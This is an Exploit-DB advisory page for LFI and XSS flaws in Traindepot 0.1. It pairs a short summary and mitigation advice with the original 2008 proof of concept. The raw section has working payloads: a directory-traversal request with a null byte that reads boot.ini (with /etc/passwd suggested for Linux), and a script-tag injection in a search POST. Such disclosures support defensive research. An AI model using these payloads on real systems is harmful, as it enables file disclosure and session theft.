Traindepot 0.1 (LFI/XSS) Multiple Remote Vulnerabilities

vendor:

Traindepot

by:

CWH Underground

7.5

CVSS

HIGH

Local File Inclusion (LFI), Cross-Site Scripting (XSS)

CWE

Product Name: Traindepot

Affected Version From: Traindepot 0.1

Affected Version To: Traindepot 0.1

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2008

Traindepot 0.1 (LFI/XSS) Multiple Remote Vulnerabilities

Traindepot 0.1 is vulnerable to LFI and XSS attacks. The LFI vulnerability allows an attacker to include arbitrary local files, potentially leading to sensitive information disclosure or remote code execution. The XSS vulnerability allows an attacker to inject malicious scripts into the application, potentially leading to session hijacking or defacement of the website.

Mitigation:

To mitigate the LFI vulnerability, ensure that user-supplied input is properly validated and sanitized before using it to include local files. To mitigate the XSS vulnerability, implement input validation and output encoding to prevent the execution of malicious scripts.

Source

Exploit-DB raw data:

============================================================
  Traindepot 0.1 (LFI/XSS) Multiple Remote Vulnerabilities
============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 18 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : Traindepot
 VERSION     : 0.1
 VENDOR	     : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/traindepot
#####################################################

--- Local File Inclusion ---

-------------
 Exploit
-------------

[+] http://[Target]/[Traindepot_path]/index.php?module=[LFI]

-------------
 POC Exploit
-------------

[+] GET http://192.168.24.25/traindepot/index.php?module=../../../../../../../../boot.ini%00 HTTP/1.1
[+] Accept: */*
[+] User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
[+] Host: 192.168.24.25
[+] Cookie: PHPSESSID=3954bc593bfbf164295dfabbe2459187
   
 
    This exploit will open boot.ini in system file:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

    You can change boot.ini to /etc/passwd%00 in linux OS.


--- Remote XSS (query) ---

[+] http://[Target]/[Traindepot_path]/index.php?module=search

---------------------------
 POC Exploit [POST Method]
---------------------------

[+] POST http://192.168.24.25/traindepot/index.php?module=search HTTP/1.1
[+] Accept: */*
[+] Content-Type: application/x-www-form-urlencoded
[+] User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
[+] Host: 192.168.24.25
[+] Content-Length: 70
[+] Cookie: PHPSESSID=3954bc593bfbf164295dfabbe2459187

[+] query=<script>alert(123);</script>&search=%3F


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-18]